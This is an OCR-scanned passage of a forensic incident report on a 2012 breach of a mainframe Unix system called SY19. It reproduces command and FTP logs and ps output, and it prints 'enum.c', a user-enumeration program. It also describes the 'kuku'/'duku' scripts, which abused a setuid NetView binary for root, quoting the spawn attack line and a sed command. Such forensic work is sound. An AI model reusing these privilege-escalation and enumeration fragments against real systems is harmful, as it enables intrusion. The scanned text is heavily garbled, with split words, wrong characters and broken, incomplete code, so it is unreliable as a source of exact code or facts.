UNXCM D.SY19 . FROM0313 .txt : 15Ma r12 20 : 21  S U P ERUSR TN3270 178. 18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 1 5Ma r12 20 : 2 1  SU PERUSR  TN3270 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 1 5Mar12 20: 2 1  S U P ERUSR TN3270 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 1 5Mar12 20 :22  SU PERUSR  TN 3270 178 . 18 .243.27 d ps 

UNXCMD .SY19. FROM0313 .txt : 15Mar12 20 :22 S U P ERUSR TN3270 178 . 18 .243 .27 d ps 

UNXCMD .SY19 . FROM0313 .txt : 15Ma r12 20 :22  SU PERUSR  TN32706 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15 Ma r12 20 : 24 S U P ERUSR TN 32707 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20 :24 S U P ERUSR TN32708 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 1 5Mar12 20 :29 S U P ERUSR TN32708 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 1 5Mar12 20:43 S U P ERUSR  TN 32701 178 . 18 .243 . 27 d ps 

U NXCMD .SY19 . FROM0313 .txt : 1 5Ma r12 20 :45 S U P ERUSR  TN32709 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20: 51  SU PERUSR  TN32702 178 . 18 .243 .27 d ps 
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U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 20: 54 S U PERUSR TN 32709 178 . 18 .243 .27_ d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20 :55 SU PERUSR TN32701 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 20 :55 SU PERUSR TN 32704 178 . 18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 20 :56 S U PERUSR TN32702 178. 18.243 .27  d ps 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 21 :04 SU PERUSR TN32703 178. 18 .243 .27  d ps 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 2 1 :05 S U PERUSR TN32704 178. 18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 2 1 : 13 SU PERUSR TN32705 178 . 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 2 1 : 18 SU PERUSR TN32707 178 . 18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 2 1 : 2 1  S U PERUSR TN32706 178. 18.243 . 27 d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 22 : 22 S U P ERUSR TN32703 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 22 : 52  SU PERUSR TN32704 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 22 : 55  S U P ERUSR TN32705 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 22 : 56  S U P ERUSR TN32706 178 . 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 23 :01  S U P ERUSR TN32707 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 23 :06 S U P ERUSR TN32708 178. 18. 243 . 27 d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 23 : 26 S U P ERUSR TN32709 178. 18 .243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 23 : 36  SU PERUSR  TN32701 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 00 :08 S U P ERUSR TN32703 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 00 : 19 S U P ERUSR TN32708 178. 18 .243 .27  d ps 

U NXC M D.SY19 . FROM0313 .txt : 16Ma r12 00 : 19 S U P ERUSR TN32708 178. 18 .243 .27  d ps 

U NXCM D.SY19. FROM0313 .txt : 16Ma r12 00 : 19 S U P ERUSR TN32708 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 02 :04 S U P ERUSR TN 32704 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 02 :04 S U P ERUSR TN32704 178 . 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 02 :04 S U PERUSR TN32704 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 02 : 10 S U P ERUSR TN32705 178. 18 .243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 02 : 10 S U P ERUSR TN32705 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 02 : 10 SU PERUSR  TN32705 178 . 18 .243 .27  d ps 
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U NXCM D.SY19 . FROM0313 .txt : 16Mar12 02 : 15 SU PERUSR TN32706 178. 18.243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 02 : 15 SUPERUSR TN32706 178. 18. 243 .27 d ps 

U NXCM D.SY19. FROM0313 .txt : 16Ma r12 02 : 15 SU PERUSR TN32706 178 . 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM03 13 .txt : 16Mar12 02 : 19 SU PERUSR TN 32707 178. 18.243 . 27 d ps 

U NXCM D.SY19 . FROM03 13 .txt : 16Ma r12 02 : 19 SUPERUSR TN32707 178. 18. 243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 02 : 19 SUPERUSR TN32707 178. 18.243 .27  d ps 

U NXCM D.SY19. FROM03 13 .txt : 16Ma r12 02 : 20 SUPERUSR TN32708 178. 18.243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 02 : 20 SUPERUSR TN32708 178. 18 .243.27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 02 : 20 SUPERUSR TN32708 178. 18.243 .27  d ps 

U N XCM D.SY19 . FROM0313 .txt : 16Ma r12 02 : 32  S U PERUSR TN32709 178 . 18 .243 .27 d ps 

U NXCM D.SY19. FROM0313 .txt : 16Ma r12 02 :32  SU PERUSR TN32709 178. 18. 243 .27 d ps 

U NXCMD .SY19. FROM0313 .txt : 16Ma r12 02 :32  SUPERUSR TN32709 178. 18 .243 .27  d ps 

U NXCM D.SY19. FROM0313 .txt : 16Ma r12 02 :52  SU PERUSR TN32701 178 .18 .243 .27 d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 02 :52  SUPERUSR TN32701 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 02 :52  SU PERUSR TN32701 178 .18 .243 .27 d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Mar12 02 :53  S U P ERUSR TN32702 178 .18 .243 .27 d ps 

U NXCMD .SY19. FROM0313 .txt : 16Ma r12 02 :53  SUPERUSR TN32702 178 .18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 02 :53  SU PERUSR TN32702 178. 18. 243 .27  d ps 

U NXCMD .SY19 . FROM0313 .txt : 16Ma r12 03 : 2 1  SUPERUSR TN32709 178. 18 .243 . 27 d ps 

U NXCMD .SY19. FROM0313 .txt : 16Ma r12 03 : 2 1  S U P ERUSR TN32709 178. 18 .243 .27  d ps 

U NXCMD .SY19. FROM0313 .txt : 16Ma r12 03 : 2 1  S U PERUSR TN32709 178. 18 .243 .27  d ps 

U NXCMD .SY19. FROM0313 .txt : 16Mar12 03 : 3 1  SU PERUSR TN32703 178. 18 .243 .27 d ps 

U NXCMD .SY19. FROM0313 .txt : 16Ma r12 03 : 3 1  S U PERUSR TN32703 178. 18 .243 . 27 d ps 

U N XCMD.SY19 . FROM0313 .txt : 16Ma r12 03 : 3 1  SU PERUSR TN32703 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 04 : 14 SU PERUSR TN32702 178. 18 .243 .27 d ps 

U NXCM D.SY19. FROM0313 .txt : 16Mar12 04 : 14 SU PERUSR TN32702 178. 18 .243 .27 d ps 

U NXCM D.SY19. FROM0313 .txt : 16Ma r12 04 : 14 SU PERUSR TN32702 178. 18 .243 .27  d ps 
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U N XCMD.SY19 . FROM0313 .txt : 16Ma r12 05 :48 SU PERUSR TN32704 178. 18 .243 . 27 d ps 

U N XCMD.SY19. FROM0313 .txt : 16Mar12 05 :48 SU PERUSR TN 32704 178 . 18 .243 . 27 d ps 

U N XCMD.SY19 . FROM0313 .txt : 16Mar12 05 :48 SU PERUSR TN32704 178. 18.243 . 27 d ps 

U N XCMD.SY19. F ROM0313 .txt : 16Ma r12 06 :00 SUPERUSR TN 32705 178 . 18 .243 . 27 d ps 

U N XCM D.SY19 . FROM0313 .txt : 16Ma r12 06 :00 SUPERUSR TN32705 178 . 18. 243 .27  d ps 

U N XCMD.SY19. FROM0313 .txt : 16Ma r12 06 :00 SUPERUSR TN32705 178. 18 .243 .27  d ps 

U N XCMD.SY19. FROM0313 .txt : 16Ma r12 06 : 5 1  SUPERUSR TN32707 178. 18 .243 . 27 d ps 

U NXCMD.SY19 . FROM0313 .txt : 16Ma r12 06 : 5 1  SUPERUSR TN32707 178 . 18 .243 . 27 d ps 

U NXCMD.SY19 . FROM0313 .txt : 16Mar12 06 : 5 1  SUPERUSR TN32707 178 . 18 .243 .27  d ps 

U NXCMD.SY19 . FROM0313 .txt : 16Ma r12 06 : 52  S U PERUSR TN32708 178 . 18 .243 .27  d ps 

U NXCMD.SY19 . FROM0313 .txt : 16Ma r12 06 :52  SUPERUSR TN32708 178 . 18 .243 .27  d ps 

U NXCMD.SY19 . FROM0313 .txt : 16Ma r12 06 : 52  S U PERUSR TN32708 178. 18.243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 07 :04 S U P ERUSR TN32706 178. 18. 243 .27  d ps 

U NXCM D.SY19 . F ROM0313 .txt : 16Ma r12 07 :04 S U P ERUSR TN32706 178 . 18 .243 . 27 d ps 

U NXCMD.SY19 . FROM0313 .txt : 16Mar12 07 :04 S U PERUSR TN32706 178. 18 .243 . 27 d ps 

U NXCM D.SY19. FROM0313 . txt : 16Ma r12 07 : 19 SU PERUSR TN32701 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 07 : 19 S U PERUSR TN32701 178. 18 .243 . 27 d ps 

U NXCM D.SY19. FROM0313.txt : 16Ma r12 07 : 19 S U PERUSR TN32701 178. 18. 243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 07 :33  SU PERUSR TN32709 178. 18. 243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 07 :33  S U PERUSR TN32709 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . F ROM0313 .txt : 16Ma r12 07 :33  S U PERUSR TN32709 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 08 :06 SU PERUSR TN32702 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 08 :06 S U PERUSR TN32702 178. 18. 243 .27  d ps 

U NXCM D.SY19 . FROM03 13 .txt : 16Ma r12 08 :06 S U PERUSR TN32702 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 09 : 1 1  S U P ERUSR TN32703 178. 18. 243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 09 : 1 1  SU PERUSR  TN32703 178. 18. 243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 09 : 1 1  S U P ERUSR TN32703 178. 18 .243 . 27 d ps 
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U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 09 : 27 SU PERUSR  TN32704 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 09 : 27 SUPERUSR TN 32704 178 . 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 09 : 27 SU PERUSR  TN32704 178 . 18 .243 . 27 d ps 

U NXCMD.SY19 . FROM0313 .txt : 16Ma r12 19 :41 SU PERUSR  TN32705 178 . 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 19 :41 SU PERUSR  TN32705 178. 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM03 13.txt : 16Ma r12 19 :43 SU PERUSR  TN32706 178. 18 .243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 16Ma r12 19 : 51  S U P ERUSR TN32707 178 . 18 . 243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 19Ma r12 15 : 28 S U P ERUSR  TN32701 178. 18 .243 .27  d ps 

U NXCMD.SY19 . FROM0313 .txt : 19Ma r12 15 :37  SU PERUSR  TN32702 178 . 18 .243 . 27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 19Ma r12 16 :05 S U P ERUSR  TN32705 178 . 18. 243 .27  d ps 

U NXCM D.SY19 . FROM0313 .txt : 19Ma r12 16 :05 S U P ERUSR  TN32707 178 . 18 .243 .27 d ps 

U NXCM D.SY19 . FROM0313 .txt : 19Ma r12 16 :05 SU PERUSR  TN32707 178 . 18 .243 .27  d ps 

Figure 29 Log showing the execution of the program "d ps" on SY19 

enum.c 
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The fo l l owing C sou rce code was a copy obta i ned  from the i nvestigati ng po l i ce .  l t  i s  bel ieved to 

be used by the perpetraters on the systems .  

# include < s tdio . h> 
# i n clude < s tdl ib . h> 
# inc lude <un i s t d . h> 

# i nclude < s t ring . h> 
# i n c lude <pwd . h> 

int  ma i n ( int arge , char * argv [ ] ) 

uns igned int a , b ;  
i f  ( arge < 2 ) exit ( l ) ; 
a =  atoi ( argv [ l ] ) ;  
b= ( argc>2 ) ? atoi ( argv [ 2 ] ) : ( - 0 ) ; 

printf ( " %u . . .  % u \ n " , a , b ) ; 
whi l e  ( a  <= b )  

{ 
s t ruct  pas swd *pw 

i f ( pw ! =NULL ) 

{ 

getpwuid ( ( u i d_t ) a ) ; 

printf ( " %u %u : %u % s  % s  % s \ n " , a ,  ( un s i gned int ) pw- >pw_uid ,  

( un s i gned int ) pw- >pw_ 
g i d ,  pw- >pw_name , pw->pw_di r ,  pw->pw_she l l ) ; 

} 
a++ ; 
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Figure 30 C source code listning for program "enum.c" that enumerates users from the account database 

lt is a s imp le  C program that traverse the letclpassword-type of user data base ava i l a b le  on a 

POSIX l u n ix  system a nd  the n l i st username, u id ,  g id ,  fu l l  n ame, home d i rectory a nd  fi n a  ly sta rt 

she  I l .  

Kuku 

Th i s  fi l e  was seen on SY19. lt was stored i n  ltm p  

-rwxr -xr-x l BPXDFLTU 0 3 8 4  7 3 8  Ma r 5 1 3 : 5 7 kuku 
Figure 31 Fi le metadata for file " kuku" 

As ca n be seen from the fi l e  metadata, the p rogra m "ku ku" was created, or  cha nged, on  Ma rch 

5th by the user DPXDFLTU . 

T C P_FTP_SERVER_T_S Y 1 9_0 2 0 1 - 0 3 0 9 . c s v : 2 0 1 2 - 0 3 - 0 5 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 5 -

1 3 . 5 7 . 1 8 . 2 2 0 0 0 0 ; ? UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; s;�()Jt ; s E Q ; B SN 0 0 5 8 ; A ; S 

; F ; H ; l 2 . 5 7 . 1 8 ; 1 2 . 5 7 . 1 8 ; 7 7 3 ; S ; ; ; ; FT P D l ; sema in f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 2 8 0 4 ; / t mp / kuku 

Figure 32 Extracts from the FTP logs showing how the f i le  " kuku" where U PLOADED 

As ca n be seen from this extract, the fi l e  was up l oaded by the user "BSN0058", an a coount 

known to be used by the perpetraters at th i s  t i me .  

TCP FTP SERVER T SY1 9 0 2 0 1 - 0 3 0 9 . c sv : 2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 -
0 8 -

- - - -

1 3 . 4 5 . 2 6 . 6 0 0 0 0 0 ; ? UNKNOWN ; SY 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Et; sEQ ; S PR 

B I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 6 ; 1 2 . 4 5 . 2 6 ; 7 3 8 ; S ; ; ; ; FTPD1 ; s ema in f ; 4 6 . 5 9 . 5 1 . 1 8 1  
; 5 9 3 4 7 ; / tmp / ku ku 

TCP  FTP SERVER T S Y 1 9 0 2 0 1 - 0 3 0 9 . c sv : 2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 -
0 8 -

1 4 . 3 3 . 0 6 . 7 7 0 0 0 0 ; ?UNKNOWN ; SY 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��Jt; SEQ ; AS I  

0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 6 ; 1 3 . 3 3 . 0 6 ; 7 3 8 ; S ; ; ; ; FTPDl ; s ema in f ; 4 6 . 5 9 . 5 1 . 1 8 1  
; 6 2 8 4 7 ; / SYS TEM/ tmp / kuku 

Figure 33 Extracts from the FTP logs showing how the file " kuku" where DOWN LOADED 

One i nte rest ing s idenate i s that other  users, perpetrators, d i d  down load that  fi l e at a l ater 

sta ge .  

Th i s  fi l e  was m issi ng from the system, s i n ce i t  was de leted when there was a n  a l a rm i ng 

shortage of d i skspace du  r ing the attack - but before the tech n i ca l  users of the system staff h a  d 
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« Content removed from this version of the resport d u e  to confidentia l ity req u i rements » 

The log i  c of the progra m scri pt i s  

• Check if we a l  rea dy is u i d  O, the roat user that i s, thus spawn a i nte ractive command  

i nterprete r ( she l l )  for that user 
• If not ca l i ed with the com mand  I i n e  f lag "ku ku" , then execute the p rogra m cnmeunix 

in the d i rectory /usr/lpp/netview/vSr l /bin/ cnmeunix (which does not exist on 

SY19) a nd  man i pu l ate that setu id  progra m so that it r u n  the scri pt - as roat. 

The scri pt "kuku" conta i ned a bug - the fi l e cnmeun ix is not p l aced in vSrl on SY19 a nd  thus  

fa i l ed to  execute p roperly. The  perpetratar d i d  not ice th i s  a nd  d i d  a n  ed ited vers ion  of  the  

scr i pt ca  l i ed "du ku" where cnmeun ix  i s  correct ly referenced i n  the d i rectory path 

/usr/lpp/netview/v5r4 /bin/ . For i nformation  on du ku, see next cha pte r. S im i l a ri ly, he 

created a copy ca l i ed "duqu", see page 130. 

Duku 

Th i s  fi l e  was seen on SYS19. lt was stored i n  /tm p  

As evident  from a fi l e l i sti ng obta i ned  from o n e  perpetrators mach i ne, th i s  fi l e  i s  saved a s :  

1- rwxr-xr-x  l BPXDFLTU D3 8 4  7 3 8  Mar 5 1 3 : 5 8  dukul 
Figure 34 Fi le metadata for file "duku"  

Late r it was downloaded aga i n  

TCP _FTP _SE RVE R_ T _SY19_0201-0309.csv :2012-03-08; 13.00.00;2012-03-08-

13.45 . 25.860000; ? U N KN OWN;SY19; ;217. 150. 174.80; 21; ; ; RETRsEQ;SPRB I08; 1 ;S ;F;H ; 12.45.25; 12.45.25;7 

38;S; ; ; ; FTPD1;semai nf;46.59.51 . 181;59347;/tm p/ d U k u 

TCP _FTP _SERVER_T_SY19_0201-0309.csv :2012-03-08;14.00.00;2012-03-08-

14. 33 .06.000000; ? U N  KNOWN;SY19; ; 217. 150. l7 4.80;21; ; ;  R ET Rseo;ASI0936; I ;S; F; H; 13. 33 .05; 13 .33 .05; 7 

38;S; ; ; ; FTPD1;semai nf;46.59 .51 . 181;62847;/SYSTE M/tm p/ d U k u 

Figure 35 Extracts from the FTP logs showing how the file " duku" were DOWN LOADED 

A techn ica l com ment is that when the perpetratar up l oads the scri pt kuku, i t  conta i ns the 

active attack on  one I i ne with the fo l l ow ing  content :  
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address syscall ' spawn /usr/ lpp/netview/v5 rl /bin/ cnmeunix O . parm . env . ' 

The progra m cn meun ix fa i l  to run,  beca use of a d i recto ry path that i s  i nva l i d  on  SY19. Th is was 

ed ited on the fly by the perpetratar with the fo l l owi ng USS com mand  I i n e :  

cat / tmp/kuku l sed ' s ,  v5 r1 , v5r4 , g '  > / tmp/duku 

wh ich su bstitute the stri ng vSrl with the stri ng v5r4 g loba l  ly from the fi l e ku ku a nd saves the 

content in fi l e  d u ku, thus  the reason why both kuku and duku exi sts on the system .  

Th i s  i s  the content of the fi l e d u ku, a s  recreated from kuku 

« Content removed from t h i s  version o f  t h e  report due t o  confidenti a l ity req u i rements » 

The l og ic  of the p rogra m scri pt i s  

• Check if we a l ready is u i d  O, the roat user that is, thus  spawn a i nteractive command 

i nte rprete r (she l l )  for that user 
• If not ca l ied with the com mand  I i ne  fl ag "ku ku" , then execute the p rogra m cnmeunix 

a nd  man i pu late that setu i d  progra m so that  it ru n the scri pt - as root. 

From sess ion  logs obta i ned from the po l i ce, from the fi l e  "toa nd reas . l og", we ca n see that the 

pe rpetratar managed to run the scr i pt, see the  fo l l owing l og extract, wh ich  show that the d u ku 

p rogra m i s  ru n ned when the pe rpetratar perform a "ps" command :  

B PXDFLTU 1 2 5 7  l - 1 2 : 0 0 : 2 7 ? 1 8h 5 7  D FHKE T C B  

B PXDFLTU 1 2 5 8  l - 1 2 : 0 0 : 2 7 ? 1 8h 5 7  D FHKE T C B  

B PXDFLTU 1 2 6 1  l - 1 2 : 0 0 : 2 7 ? 1 8 h 5 7  D FHKE T C B  

DAF 1 4 6 0 6 7 1 1 0 1 3 7  4 6  - 1 2 : 5 4 : 0 1 ? 0 : 0 0 / u s r / s b i n / ftpdn s  

2 1 3 6 0 5 3 6 4 8  

B PXDFLTU 1 2 7 4  l - 1 2 : 0 0 : 2 7 ? 1 8 h 5 7  DFHKE T C B  

SUPERUSR 6 7 1 1 0 1 4 1  6 7 1 1 1 7 4 3  - 12 : 5 8 : 57 ? 0 : 0 0 / tmp/duku kuku 

B PXDFLTU 1 2 7 8  l - 1 2 : 0 0 : 2 7 ? 1 8 h 5 7  DFHKE T C B  

B PXDFLTU 1 2 8 1  l - 1 2 : 0 0 : 2 7 ? 1 8 h 5 7  D FHKE TCB 

B PXDFLTU 3 3 5 5 5 8 4 5  l - 1 2 : 5 8 : 1 4 ? 0 : 2 5 DFHKE TCB 

B PXDFLTU 1 6 7 7 8 8 3 1  l - 2 3 : 2 4 : 1 7 ? 0 : 2 5 D FHKE TCB 

S U PERUSR 8 3 8 8 7 7 1 1  l Feb 2 7  ? 0 : 2 2 E XE C  

B PXDFLTU 1 6 3 7  l - 2 3 : 2 4 : 0 5 ? 0 : 1 3 D FHKE T C B  

B PXDFLTU 1 6 7 7 8 8 6 4 l - 2 3 : 2 4 : 1 2 ? 0 : 2 5 D FHKE T C B  

Figure 36 Extract from " ps" output. 

a.env a.k.a CSQXDISP 

This  i s  a softwa re that have been u p loaded, i nsta l led ,  cop ied i nta seve ra l cop ies, and executed 

on SY19. 

The fi rst ti me  the fi l e  a . env is  up l oaded i s  2012-02-25, ve ry ea r ly d u ri ng the actua l i n ci dent. 

The fi l e  i s then  up l oaded seve ra l more t i mes, with b igger fi l e  s i ze. The fo l l owing extracts from 

the SY19 FTP l ogs show th i s :  
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2 0 1 2 - 0 2 -2 5 ; 0 4 . 0 0 .  0 0 ; 2 0 1 2 - 0 2 - 2 5 -

0 4 . 5 5 . 5 3 . 3 7 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; ��()lt; S EQ ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 3 . 5 5 . 5 3 

; 0 3 . 5 5 . 5 3 ; 9 8 3 0 4 ; S ; ; ; ; FT P D l ; s emain f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 6 7 1 1 ; / tmp / a . env 

2 0 1 2 - 0 2 - 2 5 ; 0 6 . 0 0 .  0 0 ;  2 0 1 2 - 0 2 - 2 5 -

0 6 . 0 5 . 2 6 . 8 0 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; ��()1t; s EQ ; AV I Y 3 5 6 ; I ; S ; F ; H ; 0 5 . 0 5 . 2 6 

; 0 5 . 0 5 . 2 6 ; 9 8 3 0 4 ; S ; ; ; ; FT P D l ; s ema i n f ; l 7 8 . 1 8 . 2 4 3 . 2 7 ; 6 0 5 6 6 ; / tmp / a . env 

Figure 37 Fi le upload of "a .env" to SY19 

He then l ater de letes th i s  fi l e  a nd  up loads it aga i n  

2 0 1 2 - 0 2 - 2 5 ; o 6 .  0 0 . 0 0 ;  2 0 1 2 - 0 2 - 2 5 -

0 6 . 4 7 . 2 5 . 3 2 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; I)��� ; S E Q ; AV I Y 3 5 6 ; A ; S ; F ; H ; 0 5 . 4 7 . 2 5 

; 0 5 . 4 7 . 2 5 ;  O ;  S ; ; ; ;  F T P D l ; s ema i n f ;  1 7 8 . 1 8 . 2 4 3 . 2 7 ;  6 0 5 6 6 ;  l tmpl a • enV 

2 0 1 2 - 0 2 - 2 6 ;  1 3 . 0 0 .  0 0 ;  2 0 1 2 - 0 2 - 2 6 -

1 3 . 3 4 . 4 5 . 2 7 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; ��()lt ; SE Q ; AV I Y 3 5 6 ; I ; S ; F ; H ; l 2 . 3 4 . 4 5 

; 1 2  . 3 4 . 4 5 ; 9 8 3 O 4 ; S ; ; ; ; FT P D l ; s e ma i n f ;  l 7 8 . l 8 . 2 4 3 . 2 7 ; 4 2 7 7  2 ; l tmp l a . e 0 V 

2 0 1 2 - 0 2 - 2 6 ;  1 3 . 0 0 . o o ;  2 0 1 2 - 0 2 - 2 6 -

1 3 . 5 3 . 1 6 . 2 0 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; I)��� ; S E Q ; AV I Y 3 5 6 ; A ; S ; F ; H ; l 2 . 5 3 . 1 6 

; 1 2 . 5 3 . 1 6 ;  O ; S ; ; ;  ; F T P D l ; s ema i n f ;  1 7 8 . 1 8 . 2 4 3 . 2 7 ;  3 2 4 8 8 ;  l tmpl a • env 

2 0 1 2 - 0 3 - 0 4 ; 0 8 . 0 0 .  0 0 ;  2 0 1 2 - 0 3 - 0 4 -

0 8 . 1 3 . 0 8 . 0 9 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; � �()lt ; S E Q ; B S N 0 0 5 8 ; I ; S ; F ; H ; 0 7 . 1 3 . 0 7 

; 0 7 . 1 3 .  0 8 ;  9 8 3 0 4 ; S ; ; ; ;  F T P D l ; s ema i n f ;  l 7 8 . 1 8 .  2 4 3 . 2 7 ;  4 9 8 1 4 ;  l tmp l a • en v 

Figure 38 Deletion and UPLOAD of other versions of "a .env" to SY19 

2012-03-04;08 .00.00;2012-03-04-

08 .15  . 2 2 .870000;ÅU N KNOWN;SY19; ; 2 1 7  .150 .17  4.80; 2 1; ; ;  S T O R;sEQ; BSN0058;A;S; F; H ;07 .15  .22;07 . 1 5  .22;430;5; ; ; ;  FTP D1;sem 

a i nf; 178 .18 .243.27;49814 ;/tm p l a .j el 
-

Figure 39 Fi le upload of program "a .jc l"  

Of same not ice shou ld  be that the a . env, as  we i l  a s  many other  fi l es, have been down loaded by 

us i ng other  user accounts a n d  by us ing other  l P  add resses tha n the a ccou nts a nd  add resses 

used by up l oaders .  

2 0 1 2 - 0 3 - 0 8 ; 1 3 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 3 . 4 5 . 2 3 . 0 9 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; S PRB I 0 8 ; I ; S ; F ; H ; l 2 . 4 5 . 2 2 ; 1 2 .  
4 5 . 2 2 ; 9 8 3 0 4 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 5 9 3 4 7 ; / tmp / a . env 
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2 0 1 2 - 0 3 - 0 8 ; 1 4 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 0 8 -

1 4 . 3 3 . 0 2 . 2 6 0 0 0 0 ; ÅUNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 l ; ; ; RE T R ; S E Q ; AS I 0 9 3 6 ; I ; S ; F ; H ; l 3 . 3 3 . 0 2 ; 1 3 .  
3 3 . 0 2 ; 9 8 3 0 4 ; S ; ; ; ; FT P D l ; s ema i n f ; 4 6 . 5 9 . 5 1 . 1 8 1 ; 6 2 8 4 7 ; / S Y S TEM/ tmp / a . env 

Figure 40 Fi le download of " a .env" 

There is  evidence that th i s  p rogra m, a . e nv, have been executed i n  SV19.  The process l i sti ng 

shown next i s  I i sted in  more fu l l .  l t  i s  obta i ned from a sess ion  l og from the pol ice i nvestigat ion 

